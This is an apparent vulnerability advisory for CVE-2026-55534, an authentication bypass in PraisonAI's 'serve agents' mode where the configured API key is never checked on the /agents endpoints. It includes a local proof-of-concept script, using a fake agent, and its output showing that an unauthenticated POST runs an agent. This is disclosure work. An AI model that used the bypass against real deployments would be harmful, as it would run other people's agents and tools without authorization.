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PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

CVE-2026-55534 ยท 2026-08-25 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Authentication and access control
Also involves
Tool and Agent Misuse
Affected
praisonai (PyPI)
Gets past
Authentication check
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS
0.5% chance of exploitation in 30 days

How it works, in short

The configured API key is never checked on the agent invocation endpoints, so unauthenticated network callers can run agents. (Our summary, written by a model. The source text is below.)

Details

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented
authentication control for production/external deployments, but the configured key is not
enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network-
reachable caller can still invoke agents through POST /agents or POST /agents/
{agent_name}
without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:
- v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
- v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask
api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents
--api-key
code path and is confirmed in v4.6.48.

Details

The CLI accepts and forwards an API key:

However, _create_agents_app() never uses config["api_key"] to create middleware or a
FastAPI auth dependency:

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/
invoke
route is protected separately by CALL_SERVER_TOKEN. That means the protected /
api/v1
route and the unauthenticated /agents compatibility routes coexist in the same
server. Setting --api-key does not protect the compatibility routes.

PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It
constructs the FastAPI app through the real ServeHandler._create_agents_app() path with
api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI
TestClient.

```python
#!/usr/bin/env python3
from __future__ import annotations

import sys
import tempfile
from pathlib import Path

REPO = Path("/path/to/PraisonAI")
sys.path[:0] = [
str(REPO / "src" / "praisonai"),
str(REPO / "src" / "praisonai-agents"),
]

class FakeAgent:
def __init__(self):
self.calls = []

def start(self, query):
self.calls.append(query)
return f"fake-agent-ran:{query}"

def main() -> None:
from fastapi.testclient import TestClient
from praisonai.cli.features.serve import ServeHandler
from praisonai.api import agent_invoke

with tempfile.TemporaryDirectory() as tmp:
agents_yaml = Path(tmp) / "agents.yaml"
agents_yaml.write_text(
"roles:\n"
" placeholder:\n"
" role: Placeholder\n"
" goal: Placeholder\n"
" backstory: Placeholder\n",
encoding="utf-8",
)

handler = ServeHandler()
app = handler._create_agents_app(
{
"file": str(agents_yaml),
"host": "0.0.0.0",
"port": 8000,
"path": "/agents",
"reload": False,
"api_key": "operator-secret-api-key",
}
)

fake_agent = FakeAgent()
agent_invoke.register_agent("poc", fake_agent)

client = TestClient(app)
response = client.post(
"/agents/poc",
json={"query": "unauthenticated request"},
)

print(f"STATUS_CODE={response.status_code}")
print(f"RESPONSE_JSON={response.json()!r}")
print(f"AGENT_CALLS={fake_agent.calls!r}")
print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
request']}")

if __name__ == "__main__":
main()

Run:

cd /path/to/PraisonAI
python3 praisonai-serve-agents-api-key-bypass.py

Observed output:

STATUS_CODE=200
RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
AGENT_CALLS=['unauthenticated request']
UNAUTHENTICATED_AGENT_EXECUTED=True

The important condition is that the app was configured with:

"api_key": "operator-secret-api-key"

but the request was sent without any auth header:

client.post("/agents/poc", json={"query": "unauthenticated request"})

The agent still executed and returned HTTP 200.

Impact

Any attacker who can reach a praisonai serve agents server can invoke configured agents even
when the operator explicitly configured --api-key.

Impact depends on the configured agents and their tools, but can include:

This is especially risky because the documented production pattern recommends using --api-
key when binding the server publicly.

Suggested fix

Fail closed when --api-key is configured and require it on every agent invocation route in
the serve agents app.

Recommended changes:

References

Source: GitHub Advisory Database, used under CC BY 4.0.